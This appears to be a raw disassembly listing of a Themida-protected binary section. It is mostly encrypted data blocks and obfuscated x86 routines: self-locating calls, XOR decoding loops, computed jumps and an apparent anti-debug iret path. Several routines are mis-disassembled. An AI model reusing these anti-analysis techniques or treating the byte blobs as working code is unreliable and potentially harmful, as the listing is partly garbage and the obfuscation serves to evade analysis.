dd 83000000h, 48704C0h, 34FF5C24h, 0C4815E24h, 4, 0FA5B3AE9h dd 0F16C74FFh db 0F3h, 27h ; --------------------------------------------------------------------------- loc_5E4752: ; CODE XREF: Themida_:005E3B78j mov eax, 7EA224Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0AAh dd 3651D9ACh, 472F45C1h, 2F2E9C5Ch, 11107F81h, 0A5140577h dd 59508A69h, 676C5551h, 2D679DC3h, 206C3623h, 0E9797580h dd 0Fh, 79D0545Ah, 2 dup(0) dd 0E9000000h, 559h, 0D96D8F67h, 36CAEAC3h, 962A4420h dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h dd 22FF15A9h, 13C3760Ah, 0A883E196h, 99286D13h, 29617956h dd 0F06D805Bh, 1442A00Bh, 71055EC7h, 2E667E5Bh, 336B8360h dd 346C8C65h, 2C1353D0h, 0C9A3374Fh, 0A015EA67h, 58C11442h dd 384E2C46h, 4F2CCAA4h, 7A882130h, 0AE07B513h, 0AFC9DB76h dd 0B583BBD1h, 0B785BDDBh, 0BC8AC2DAh, 0C290C8DEh, 0F893CBE7h dd 652D59D6h, 0F26D19F0h, 0A45AF714h, 262FD451h, 42AB1442h dd 190755E2h, 39162CC0h, 423CE921h, 5F14422Dh, 26FAEF61h dd 32BA90D1h, 9BC38320h, 0E05B6564h, 0A8B79432h, 4200542Bh dd 40990214h, 83BBDBB4h, 9437D6E8h, 60000000h, 502E7956h dd 0FCA9E13Ah, 1442A001h, 679FBB96h, 17A3BD99h, 84E8203Ch dd 11135F07h, 0CB691054h, 0EAC5D7EDh, 0E05C1115h, 0C4E91183h dd 0C668BE04h, 115B4h, 563E0000h, 0AB0D5D7Dh, 42A0492Eh dd 8A9C0514h, 0EDC032C4h, 0C15266C3h, 19F20C1Eh, 7537A9F9h dd 5D38DCB9h, 4A18DEF0h, 6907576Bh, 29D36B8Eh, 5DA419A2h dd 0E131CC04h, 42A59F64h, 0C0D23B14h, 6D1996FAh, 0A9F919F2h dd 0FBB49437h, 495BD565h, 1C341127h, 642C5ACCh, 0CE321CD9h dd 56C99ABCh, 59275F7Bh, 0EA286080h, 1FFA6521h, 3715B303h dd 3C4EE921h, 0F27041Ah, 132D09D7h, 2C3C51C3h, 0FFD751D7h dd 3B8D27EDh, 0CF1044C9h, 21460EAFh, 14DAD62h, 0EC899B91h dd 0D22B04B8h, 88ECE05Bh, 15000000h, 275F7B56h, 395C7D59h dd 0C907EAE4h, 0E64A82DBh, 67423D69h, 92F31144h, 98F888D4h dd 0EAD267A9h, 0A1358E4Fh, 4494B08Bh, 7AB2C8A6h, 3907CDDFh dd 58F6465Ah, 8A50627Ch, 0F7A7DFF0h, 0E05BED38h, 59BDh dd 7B56E600h, 7B59275Fh, 855F2D65h, 82612F67h, 2FF8366Eh dd 199C3B77h, 0FB17F26Dh, 941439ABh, 0EFF8F17Fh, 305D229Fh dd 90F91442h, 20825C7Eh, 4230DCA3h, 47653F14h, 0BA23740Fh dd 33B4F2Eh, 56815668h, 78255D7Dh, 1442A086h, 0F6A6DE9Bh dd 0E05C1109h, 1CEh, 7A56F700h, 93721060h, 38B5477Fh, 1442A043h dd 3B4DA60Fh, 7FCAA775h, 22FB87A5h, 0BB59A902h, 0F38EC6DEh dd 8D641BE1h, 798A66D9h, 42A007FCh, 116AD314h, 7D315E7Dh dd 0A94ECB2Dh, 251442A0h, 4FCCAABCh, 13A69119h, 5FA77D7h dd 0D113A692h, 9D70F68h, 0DBA01D2Ch, 7713A692h, 0B21B50Eh dd 31DE162Eh, 13A6924Ch, 0E7135B8h, 2BC91931h, 60FB3351h dd 0E0522C4Eh, 1C25D56Ch, 3A5466CEh, 3F0D455Dh, 0D4124A62h dd 7E45B0Bh, 6AC3E3BCh, 6400FFD6h, 0F896D877h, 7FA50519h dd 0A44FC244h, 2322C1D3h, 4B000001h, 5C39424Dh, 0C21B3511h dd 4696EF8Ah, 7B4F72E4h, 0AC0C2200h, 5264940Ch, 0A6458759h dd 0ACE44D13h, 55E901DEh, 124A623Fh, 0F704E280h, 0A7B9857Ah dd 8FE85113h, 90AABC57h, 25639BB3h, 5835285Ch, 60D2AC40h dd 0A0DB4422h, 694456C7h, 0D876EE96h, 483Fh, 444D6800h dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 0D7F3A6Ah dd 811020FDh, 6C8FA134h, 0BC398925h, 0EBBDBA27h, 0DFFBD674h dd 7352EECDh, 9872065Fh, 0C4DB7F26h, 52B2172Ah, 0C8703CD3h dd 0C496A8A6h, 86h, 65424D53h, 0EFEFA42Ch, 2474CD83h, 2D4924C2h dd 8570221Bh, 0B51E13A6h, 0BAD2AF7Dh, 0F48B086Ah, 2713A6F5h dd 61FC3448h, 7395A710h, 1868805Dh, 4981A17Ah, 0D8B14EAEh dd 0B3FE2746h, 0B22EDBA1h, 0B213A6D3h, 2B08772Fh, 2F607F13h dd 1E56704Ch, 5DDA2A83h, 144CF65Fh, 0BE8CC42Dh, 0DA91C9E1h dd 0BCD34303h, 0DE40A2F2h, 8C379A61h, 64CF381Bh, 1B8C379Fh dd 0A8C49F3Bh, 6A7CD570h, 15910F8Ch, 76DF1C66h, 424D11E2h dd 219F1C6Ch, 6F13A882h, 3F18B606h, 79470D1Fh, 5B75519Ch dd 7B586E02h, 187E2B63h, 656D92FFh, 0E4C1BCE8h, 0C3CB30C5h dd 6627B146h, 54B41D92h, 93EC1144h, 0AE8725FFh, 3AC13E8Eh dd 9892663Ah, 26031D2Fh, 0A644D60Eh, 8BA380C7h, 4D5FB853h dd 0F0405433h, 245C7652h, 0C7BC3989h, 9392663Ah, 8452182Ah dd 0B3558DA9h, 5AA21D43h, 39129E3Fh, 532AE119h, 0D2EA5F13h dd 2C3E5834h, 8B68D78Fh, 0F14A6440h, 3DC23FA1h, 999266F9h dd 22FC1E30h, 68344EC0h, 41A7AFC9h, 66ED21D6h, 3244AD92h dd 321C3B18h, 0B5A96380h, 58DE166Fh, 3, 563E8DE7h, 56245C7Eh dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh dd 703E768Ah, 74427A94h, 0EE437B9Bh, 3C8F68h, 241C8900h dd 0C381E389h, 4, 8704EB83h, 685C241Ch, 1D14h, 68240489h dd 69D5h, 52240C89h, 0EA2311BAh, 5A585207h, 240C8B54h dd 4C481h, 0BA520000h, 8, 53A4C281h, 0CA01672Dh, 53A4EA81h dd 289672Dh, 2434FF5Ah, 4C48359h, 582434FFh, 4C481h, 9CE90000h dd 0B2FFFA55h, 0A77263BEh, 0E12F17C4h, 27F9B876h, 0C50307EAh dd 5817E0FFh, 435D677Fh, 93A34BE0h, 0F2B0632Eh, 0AAE31F10h dd 7072119Fh, 68274562h, 59173D80h, 0A6B85D8Eh, 0B9D84BFBh dd 0DE1F396Dh, 88BE391Eh, 0F5462997h, 5E154237h, 0F8A02283h dd 160F78B5h, 4A4C0BE0h, 138E3CFBh, 4276899h, 24EB44FCh dd 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E4E32 ; --------------------------------------------------------------------------- mov [ebp+7EA28C1h], esi mov eax, [ebp+7E42015h] mov eax, [ebp+7E41BCDh] lea esi, [ebp+7EA290Bh] lea eax, [ebp+7E78417h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 7EA2911h cmp dword ptr [ebp+7E42015h], 1 jnz loc_5E4DDC push dword ptr [ebp+7EA28C1h] mov eax, [ebp+7E41BCDh] xor eax, 34812736h call eax cmp al, 1 jnz loc_5E4DD5 mov eax, 1 jmp loc_5E4E1C ; --------------------------------------------------------------------------- loc_5E4DD5: ; CODE XREF: Themida_:005E4DC5j xor eax, eax jmp loc_5E4E1C ; --------------------------------------------------------------------------- loc_5E4DDC: ; CODE XREF: Themida_:005E4DAAj push 1Ch lea esi, [ebp+7EA28C5h] push esi push dword ptr [ebp+7EA28C1h] mov eax, [ebp+7E41BCDh] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+7EA28C5h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5E4E17 xor eax, eax jmp loc_5E4E1C ; --------------------------------------------------------------------------- loc_5E4E17: ; CODE XREF: Themida_:005E4E0Aj mov eax, 1 loc_5E4E1C: ; CODE XREF: Themida_:005E4DD0j ; Themida_:005E4DD7j ... cmp dword ptr [ebp+7E42015h], 1 jnz loc_5E4E30 pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5E4E32 ; --------------------------------------------------------------------------- loc_5E4E30: ; CODE XREF: Themida_:005E4E23j pop ebp iret ; --------------------------------------------------------------------------- loc_5E4E32: ; CODE XREF: Themida_:005E4D70j ; Themida_:005E4E2Bj lea eax, [ebp+7EA28EAh] mov [ebp+7E409F9h], eax lea ecx, [ebp+7EA2A25h] push 0 push edi call sub_5E4E4F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E4E4F proc near ; CODE XREF: Themida_:005E4E47p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5E4E4F endp ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- fist dword ptr [ecx+5C53926Bh] mov [ebp+7E422E1h], esi mov [ebp+7E41B71h], ecx mov esi, ebx mov dword ptr [ebp+7E42DA1h], 64ECh or [ebp+7E413E1h], edi mov dword ptr [ebp+7E422B9h], 0 add [ebp+7E42631h], edx push dword ptr [ebp+7E41811h] movzx eax, di call dword ptr [ebp+7E43061h] mov [ebp+7E42151h], edx push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5E4F24 ; --------------------------------------------------------------------------- db 0F0h, 85h, 0A5h dd 4B028BB5h, 7EED53F9h, 4670712Dh, 0C13EE1E7h, 27065902h dd 3E2FEEEBh, 0BBB29E07h, 0B44E4084h, 0D957A6A7h, 90D2B973h dd 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h, 0EB684769h dd 88D5BCA9h, 15606CD5h, 0F512825Ah, 226B67Ah, 0EDD65F18h dd 0B47740A3h, 0F2C0167Eh, 0E29208C5h, 0BA2EE2B5h, 62BB5088h dd 83794AF5h, 9362E163h ; --------------------------------------------------------------------------- loc_5E4F24: ; CODE XREF: Themida_:005E4EB3j call near ptr loc_5E4F37+3 xor al, al or al, 0C6h mov al, [ebx] xor eax, 8BB0FBB7h aas aas inc ebx loc_5E4F37: ; CODE XREF: Themida_:loc_5E4F24p xor [esi-548F0F7h], esp pop ebx call sub_5E4F4B ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- rcl byte ptr ss:[edi-5Bh], cl dec edi adc esi, edx ; =============== S U B R O U T I N E ======================================= sub_5E4F4B proc near ; CODE XREF: Themida_:005E4F3Ep cmc pop edx add ebx, 685Ch mov edx, 7C463258h sub eax, eax sub [ebp+7E432A9h], ebx loc_5E4F60: ; CODE XREF: sub_5E4F4B+70j push dword ptr [eax+ebx] jmp loc_5E4F7A ; --------------------------------------------------------------------------- dd 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- xchg eax, ebp loc_5E4F7A: ; CODE XREF: sub_5E4F4B+18j pop ecx cmc sub ecx, 35D9ECA9h ja loc_5E4F8E mov edi, [ebp+7E41F3Dh] loc_5E4F8E: ; CODE XREF: sub_5E4F4B+37j xor ecx, 2D1833A7h xor ecx, 2A430BC5h mov esi, [ebp+7E4218Dh] mov [ebx+eax], ecx mov esi, edi push eax pop esi sub eax, 3 adc si, 0D76Dh dec eax mov esi, 34B45784h cmp eax, 0FFFF9838h jnz loc_5E4F60 call sub_5E4FD0 fimul word ptr [edi+32h] push esp sub al, 0E9h rol byte ptr [ebp+7Ch], 1 dec ecx sub_5E4F4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E4FD0 proc near ; CODE XREF: sub_5E4F4B+76p mov [ebp+7E40DFDh], ebx pop ecx jbe loc_5E4FE3 xor edx, [ebp+7E40669h] loc_5E4FE3: ; CODE XREF: sub_5E4FD0+7j add ecx, 6CCDh jno loc_5E4FF5 mov ebx, [ebp+7E41C59h] loc_5E4FF5: ; CODE XREF: sub_5E4FD0+19j mov esi, 1B0Dh or bh, 0AEh loc_5E4FFD: ; CODE XREF: sub_5E4FD0+84j mov eax, [ecx] jmp loc_5E500A ; --------------------------------------------------------------------------- dd 0B45B6D49h db 0F2h, 91h ; --------------------------------------------------------------------------- loc_5E500A: ; CODE XREF: sub_5E4FD0+2Fj add eax, 7568D9F2h jmp loc_5E5026 ; --------------------------------------------------------------------------- db 3Dh, 2Dh, 6Eh dd 0B36E854Bh, 0F605BA3Dh, 22F37606h db 96h, 0E2h ; --------------------------------------------------------------------------- loc_5E5026: ; CODE XREF: sub_5E4FD0+40j sub eax, 5D2034FBh xor eax, 8BB276Dh adc edx, 1FCF6AF0h mov [ecx], eax cld sub ecx, 403AFD51h mov [ebp+7E40DB9h], ecx add ecx, 403AFD4Dh and edx, [ebp+7E40EFDh] dec esi jnz loc_5E4FFD jns loc_5E5063 mov bx, si loc_5E5063: ; CODE XREF: sub_5E4FD0+8Aj lea ecx, [ebp+7EA2C95h] mov edx, [ebp+7E40E29h] mov [ebp+7E41B71h], ecx mov [ebp+7E415A5h], ebx mov dword ptr [ebp+7E42DA1h], 6554h push 0 push ebp call sub_5E5090 and [ebp-3Dh], bl sub_5E4FD0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E5090 proc near ; CODE XREF: sub_5E4FD0+B8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5E5090 endp ; --------------------------------------------------------------------------- dd 0E70619ADh, 880F5621h, 2, 0C75B98B2h, 0E422B985h, 7 dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0AC3F8269h, 3A1FF4F5h, 0EDB5FF31h, 6A07E40Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 7E26C351h, 7BE97990h, 892EE4CCh, 0E423C9B5h dd 6195FF07h, 8907E430h, 0E40F3195h, 0FF006A07h, 0E40E4195h dd 0EBC08B07h, 0CA7E006Ah, 1A473B42h, 21F44785h, 79785F1Ah dd 0D1CBABC1h, 593E299Ch, 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh dd 2A493489h, 9BAF1A11h, 0E66D82D7h, 0F2256A44h, 6F05EDB8h dd 0DA490484h, 79EE2DBDh, 301B00AFh, 8F58E1B9h, 86170525h dd 2845F40Bh, 4E6ADF1Eh, 88B867BEh, 0A19FAA3Eh, 59E41Dh dd 0ED5502A5h, 99094C60h, 0E9156A14h, 16h, 442EFD01h, 2540000h dd 3 dup(0) dd 0F0E90000h, 6800000Bh, 7EA2E9Ah, 0FB318CE9h, 2F6768FFh dd 82E907EAh, 68FFFB31h, 7EA314Eh, 0FB3178E9h, 321C68FFh dd 6EE907EAh, 68FFFB31h, 7EA32CDh, 0FB3164E9h, 346868FFh dd 5AE907EAh, 68FFFB31h, 7EA3537h, 0FB3150E9h, 366868FFh dd 46E907EAh, 68FFFB31h, 7EA376Fh, 0FB313CE9h, 550357FFh dd 0A4C0D22h, 0BA92C2D7h, 6EE67287h, 1D2D263Bh, 4815B6EAh dd 0F70C3F0Bh, 0AABFF260h, 5C71A4ACh, 0BD2255F9h, 0BC407053h dd 893D23FFh, 0D27CD988h, 94BA9B8Eh, 3B375961h, 0A2CB0EF1h dd 23D023F9h, 90D41D33h, 0F9A16DA1h, 0D42D523h, 5E8C0961h dd 2A2E5Ah, 0E62D0000h, 367EC8C0h, 1748064Fh, 0F9980302h dd 579BA823h, 0F9983468h, 46099C23h, 5EAA421Ah, 2F280F5Ah dd 0DF52F223h, 51000000h, 8ED27CD9h, 0C7AAF23Ah, 1C158E97h dd 72A28794h, 771C158Eh, 3320396Ah, 75E0D317h, 4C79C60Eh dd 0B0935EC3h, 1C168280h, 0DE27707Dh, 0C7F48294h, 7416A35Ah dd 79DCCF43h, 9F28290Ah, 4B942243h, 1EA00718h, 0CC891C16h dd 7513882h, 64A8AAADh, 3184C811h, 40279D00h, 0A0F33713h dd 4FFF566Fh, 703250Bh, 321FDABDh, 778423FAh, 7E2A3C44h dd 0E22C75D5h, 0DF65CFBh, 70C30749h, 9EE2C53Fh, 32BE113h dd 8EC5ACF6h, 0DF7489BCh, 0C92E796Bh, 7296C2A5h, 9D775h dd 71E77300h, 2630293Eh, 0D676DEF3h, 8ACA8EA3h, 39114257h dd 64E9D206h, 13285BEFh, 0C6DB0E44h, 788DC090h, 0D93E71DDh dd 0BC5C8C6Fh, 0AD6123FFh, 307AD9ACh, 0ADE02925h, 4791BD98h dd 0B9FED335h, 2556DC85h, 0C0E647C2h, 9C9B7EC8h, 7F23F997h dd 0B3F2E72h, 7323F998h, 0BBF36FE0h, 0C05A5EAAh, 0D0h dd 0D27CD9BFh, 92B89B8Eh, 93F85F4Eh, 64F11C15h, 0B3A2B7EAh dd 0B1F55BFBh, 0EBD1155Eh, 9C83CDC5h, 0FE5195B9h, 0B57053CDh dd 0FA23F9A7h, 347094Dh, 2C3467B0h, 0E1C40E1Ah, 2BE0858Ch dd 448CD6E3h, 73729D32h, 9FD09B8Fh, 997CCD86h, 1C183F69h dd 0EFC38E66h, 0D2B00149h, 0F80D4089h, 40FDEF5Bh, 0CC2A59Fh dd 90AEBE8h, 1A400000h, 63F60B3Eh, 0A9ABC0F3h, 0FD5B70A3h dd 440F2457h, 3C9FD306h, 0F5282231h, 0A8DB77E0h, 5A8DC393h dd 0B3E1045h, 29593CA6h, 2623FFBEh, 7AD97172h, 85020F05h dd 62F4FD43h, 0E57AAEEh, 50337BC5h, 1C166520h, 7CDF101Dh dd 1660EE67h, 4326252Fh, 1C166513h, 7EC20B18h, 6517472Ah dd 7141C16h, 0AF2A8DBEh, 80EA6678h, 0E55EEFE0h, 9DB194E0h dd 86CEA42Dh, 0C5947DC6h, 0E476091h, 0F5E4F640h, 0A52BDB95h dd 5447BBECh, 0A7A9AD01h, 7DC71063h, 9D225235h, 1A271C15h dd 291086E9h, 0E7F3242Eh, 377FC9C1h, 9CDC0CEFh, 0D4E11C15h dd 0BAFB8EA3h, 0F30023F9h, 0B599BCAFh, 81D5846Bh, 56B9EA3Dh dd 0F63A1441h, 3FC1F407h, 52FDA4ABh, 69EEC095h, 952A5E9h dd 0DC7960D6h, 0AADB2E72h, 468AC491h, 0B7C22457h, 9CAEA59Ch dd 5DEF6558h, 0CD820119h, 0FF5095C0h, 26563981h, 239CB7C2h dd 89CCE516h, 0D87D92C5h, 0C1629275h, 5A679CB7h, 2569E371h dd 564589D2h, 9CB7C21Fh, 7E46BE0h, 4018FF4Eh, 987DD014h dd 9B735A68h, 5A6F9F82h, 5F6C9B73h, 6FA2EBF8h, 0A4B3FB5Ah dd 0D7107E3h, 29724221h, 0F23B1740h, 0AAA6C8AEh, 28311860h dd 7DE8FD2Eh, 0F2A3577Ch, 84AAB2E5h, 0FC3516C1h, 8C6174EBh dd 27394D9Eh, 65AFF81Bh, 410A3A1Dh, 0CA8D94CFh, 8AF14488h dd 0EFD24C7Dh, 9CB360D0h, 267ABECBh, 20CBFBDEh, 0C3D09B73h dd 214A7D92h, 0DCB09B73h, 0ABEF61F5h, 61EE2758h, 0E70D5505h dd 45CD222h, 0DDD10000h, 1C158EADh, 159F0034h, 0A33B871Ch dd 0BEF21C15h, 0E01C15A1h, 0B1F55FF9h, 0F212D5Eh, 1A5EF463h dd 51347EC7h, 23F9C5FEh, 0CE82D481h, 0BE71A184h, 616E23F9h dd 80D2618h, 0D3F7BAC4h, 723D6h, 25332700h, 0DA7CDDF2h dd 8AC292A7h, 3E164257h, 0ED5DF60Bh, 182586BAh, 0C7DC0F3Bh dd 7A8FC290h, 2C4174DCh, 8DF22529h, 0C0104023h, 590D23FFh dd 0C2917858h, 173E5788h, 0FB0DF337h, 765DA5EFh, 0F2D71E1h dd 0A90B4B85h, 70A1EA79h, 8E345Bh, 0E02A3724h, 0EF15CF9h dd 24008DDEh, 5485CEDBh, 1B4645F1h, 4D302534h, 24008E1Dh dd 9BCC1522h, 2771798Fh, 0E4BA3D44h, 6FE5F22Bh, 859DF3E4h dd 0E1E9FFCBh, 9FD5B497h, 0CDDAD369h, 93B89C83h, 0A15B80B0h dd 27707DC4h, 0EB5F90E3h, 9DE7E305h, 859762BAh, 0F03A47CCh dd 1E014C09h, 0CB8584EEh, 0DB59F53Eh, 1D8461D3h, 967DC710h dd 0FF6293C3h, 0F1E36BEAh, 13387058h, 550B082Ch, 0F5000006h dd 0ABC0F365h, 6075A8AEh, 102558F4h, 0C4D90C48h, 5488BB8Fh dd 0DD6DE677h, 90C295AAh, 420E485Dh, 0F35BFA0Fh, 0EF15BC0h dd 23FFC0DEh, 0E62627DBh, 9B7EC8C0h, 23F9AD08h, 0C7BAFE0Bh dd 0F87CC08Eh, 26302910h, 6393BCF5h, 18FB454Dh, 2BDDCB85h dd 4C337D8Ah, 0AD004408h, 0D408197Ch, 5B1C158Eh, 1C158F2Bh dd 539D95BBh, 0B0E0C30Bh, 0AD1C158Eh, 437356A0h, 481C158Fh dd 0CEF50A3Bh, 0C123FFBBh, 0CC104414h, 92D680D9h, 69ADF63Fh dd 0FFBC4D7Ah, 0BB9FD423h, 0C78E23FFh, 6073A386h, 6B78142Bh dd 347DD582h, 92661D42h, 0E6E307CAh, 5A4h, 71A4B4A6h, 2659FD5Ch dd 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh dd 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFC08FBFh, 0D7D88C23h dd 7EC8C0E6h, 8F235336h, 1B281C15h, 668D70EAh, 8623FFBBh dd 6596B49Fh, 8A7DC1CEh, 485083CBh, 0F8945C2Bh, 0F65BA57Ah dd 2E1569ADh, 0DFF82929h, 90A5D876h, 524589C5h, 0D2074B03h dd 3025C28Dh, 757EB1Eh, 245A5052h, 183h, 0C7C0E623h, 158EB4E4h dd 63ACB91Ch, 22460719h, 2BF36ACCh, 0F5391142h, 14F771A2h dd 23FA6DA9h, 5E4D919Eh, 23FA6B2Ch, 5927286Dh, 6AFE2E11h dd 0EEFB23FAh, 0F39FB1BDh, 56A9ED63h, 75E0C30Dh, 0FA2BDE70h dd 0B0A5BAEDh, 290C549Eh, 1C1667F9h, 44B8E9F6h, 174A0451h dd 0A7F1F90Fh, 0D2DE785Fh, 4185CE86h, 65A8BDEEh, 4A23FA7Bh dd 0D60AF93Dh, 3E23FA58h, 7DD3836Ah, 303C134Ch, 5A5E5578h dd 2EFFh, 0C0E6FE00h, 9C9B7EC8h, 9C23F997h, 15F8BF8Ah dd 2B5C0B3Bh, 0EF438794h, 0D2034F08h, 0F9AF89BDh, 0F15EF123h dd 5E822575h, 0B4425Ah, 0D9410000h, 9B8ED27Ch, 4892B8h dd 158EED1Dh, 68E4701Ch, 4E0BF401h, 7063D708h, 322569E5h dd 88CE8B23h, 75A8F144h, 133F18FFh, 364B7CCFh, 1C1593CFh dd 4F321B3Ah, 1C15931Fh, 2D260F1Ch, 99A1D41Dh, 4E317B77h dd 23FC7A77h, 0A10F47F4h, 15498B2h, 3E256FB8h, 91C39515h dd 7EB1FA4Dh, 6E60EA69h, 0BAC154E7h, 9F0ED11h, 41000004h dd 0F70C3F19h, 0ACC1F462h, 5C71A4A8h, 102558FCh, 0A0D40743h dd 2921323Bh, 0DC76E1F6h, 8EC294A9h, 3F0F465Bh, 5A3DA70Ch dd 23FFC32Ah, 0D97A7B2Fh, 279DD07Ah, 0F73B1740h, 0FB5A73A4h dd 0AC072688h, 0B9027B51h, 91780B86h, 0E16DE8C2h, 0A3365498h dd 6D3FA962h, 0CDE61760h, 8F82C688h, 0E26EE8C6h, 78EB6699h dd 8F1D4D30h, 0EB751C15h, 0E3F0612Fh, 0FC2D3AA1h, 16DBB3E7h dd 0DC063A1Ch, 70961C15h, 244B2E78h, 27240009h, 2B75DD7Ah dd 0FFEF1848h, 0BF081523h, 0AC73957Bh, 56593373h, 74BE0766h dd 4113452Ch, 96C6A9FDh, 9323FFD7h, 0F70C3D86h, 2BE3F6F8h dd 0DFC6BED0h, 0A2E9F1CCh, 80B19BB9h, 81EADCE9h, 83C299F6h dd 33A625Fh, 4A100000h, 93C6DB0Eh, 0D97B90C3h, 2D2B4073h dd 74DFF427h, 4C6FA3D6h, 0C5F85201h, 78ABA7B0h, 2A5DF363h dd 0DB0E4015h, 0F9290C76h, 0F623FFC3h, 7CD94142h, 0B8A188D2h dd 0D6075A9Eh, 59FC0E62h, 0E317AF46h, 0D77E97C8h, 2A3C4477h dd 66EDD41Eh, 1C4DA0E4h, 0E3735AA2h, 0A5D6296Dh, 0F9EC4D90h dd 1455223h, 0B52C9BADh, 9AD279A2h, 8A205469h, 0F58823FAh dd 645E0E5Ah, 3BDD5A5Eh, 0DC000000h, 2C28C0E6h, 4089DC20h dd 981413F6h, 0A1723F9h, 97A3D7C6h, 370B23F9h, 26B7A025h dd 3518FBF8h, 23FA5F05h, 0CBB4FD0Ah, 2D80C48Ah, 0E08CC3FCh dd 5A5E7388h, 0B3AFh, 7CD9AE00h, 0B89B8ED2h, 0FA5B4E92h dd 381D1054h, 6BD2E316h, 5E1C1593h, 0F2457F7h, 0D7BE0846h dd 9B8ED280h, 0FD5094BAh, 290F83B4h, 0C7ED6B07h, 2B7EC290h dd 6C4F99E2h, 23F9A225h, 1135D6Ah, 4900228Ah, 1F0FBFFFh dd 77052605h, 929AFD2Eh, 472A747Ch, 2BE1286Ah, 6503745h dd 0CEB3064Ah, 1C17D39Eh, 0FB458E9Bh, 0D80B3F14h, 0C8BA90C3h dd 0C2A5F399h, 97A779Bh, 41000002h, 0F70C3F19h, 0ACC1F462h dd 5C71A4A8h, 102558FCh, 0A0D40743h, 2921323Bh, 0DC76E1F6h dd 8EC294A9h, 3F0F465Bh, 5A3DA70Ch, 23FFC52Ah, 0D97A7B2Fh dd 889DD07Ah, 0D34E81CDh, 7EC8C0E6h, 0F9979C9Bh, 2E727F23h dd 0F9980B3Fh, 6FE07323h, 5EAABBF3h, 10EC05Ah, 0D9BF0000h dd 3A8ED27Ch, 8E643828h, 51079076h, 7089BA03h, 0B1D67E3h dd 0F6D89372h, 276A7F1h, 1671AC13h, 16381D1Ch, 42256DE3h dd 1C166912h, 0C0D90A17h, 8F75B995h, 44277179h, 23FA77FDh dd 0B7A087CFh, 6286B69Bh, 768323FAh, 4387C98Dh, 1B28BFF0h dd 856072E8h, 42725512h, 4723F9CAh, 224263Ah, 18482B75h dd 1523FA37h, 0A5CBD708h, 448063ADh, 692BE11Eh, 282B125Ch dd 357FD782h, 17DD2252h, 0D11A271Ch, 0C12D3F87h, 0F4CBC742h dd 0EB77A78Ch, 67741C17h, 4B5DD336h, 1538E752h, 7C95C675h dd 768173D7h, 0CEC2A55Eh, 102ADAAh, 12480000h, 5BFE1346h dd 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh, 4A7DB0Eh, 0FD301A39h dd 0B0E36FE8h, 6295BB9Bh, 1346084Dh, 316144AEh, 2E23FFC6h dd 9178797Ah, 0F5488CC6h, 8E98C8ABh, 88951C15h, 35153E57h dd 1B68ED02h, 6346FD16h, 1C166633h, 0C172B38h, 664C8223h dd 0DF193EC2h, 9F1A4D96h, 88D27CD9h, 6D9EB8A1h, 97BEA5F9h dd 0E86D86B7h, 0D6BD3366h, 368ACE7Eh, 158F2353h, 0D21B281Ch dd 777395A1h, 0D202E52Dh, 0D71C158Eh, 3C1F99CAh, 23FFBC11h dd 71C50916h, 3F83CB8Ah, 0B3A2BBECh, 0EA6A519Bh, 0E2001E62h dd 0CBD46812h, 0A80B3C85h, 84192032h, 6E0F2D6Fh, 1D31243Dh dd 0F752EAD9h, 9D4467C4h, 2E2035B2h, 3F6FE6FBh, 0A4F73B19h dd 0EF47775Ah, 37446043h, 0A1B7AAEEh, 3E2169B3h, 6043EF0Eh dd 59CDFE0Bh, 4E9BB44Fh, 0FF144707h, 0B7B4F856h, 0Ch, 2D3F69BCh dd 3FCA85C4h, 30AFE08Dh, 93D781D9h, 5599B5A0h, 185CF462h dd 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh dd 0A8EC6AEFh, 0E789576Ah, 4C781h, 0BD550000h, 4, 875DEF29h dd 685C243Ch, 46B4h, 50241489h, 405E089h, 83000000h, 48704E8h dd 2C895C24h, 2D7E6824h, 148B07EAh, 4C48124h, 54000000h dd 83242C8Bh, 0EC8104C4h, 4, 8F241489h, 34FF0845h, 0C4835D24h dd 24148B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_598345 ; --------------------------------------------------------------------------- movsb les esi, [edx+6B91DB79h] xchg eax, edx push ebx pop esp or [ebx-69477DA0h], al cmp dl, ch pop es add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 1D91C9DDh, 18D09626h, 6DCDD43Fh, 54FE76E0h, 37E068B1h dd 65949A36h, 0B38475Ch, 9A9D01Dh, 4D8281F1h, 6E75DEB2h dd 111B8B84h, 6E415C19h, 21AC6B8Fh, 0E0D5ADCh, 23015B16h dd 7C4B1DA6h, 8793B50h, 66D480A9h, 6F176FFBh, 7150F8B2h dd 9C29996h, 71114972h, 3E3C531Ch, 564EDCD1h, 426D434Fh dd 18DD498Fh, 3D9734B2h, 5733CDC2h, 67C5DEE1h, 6E73EFD3h dd 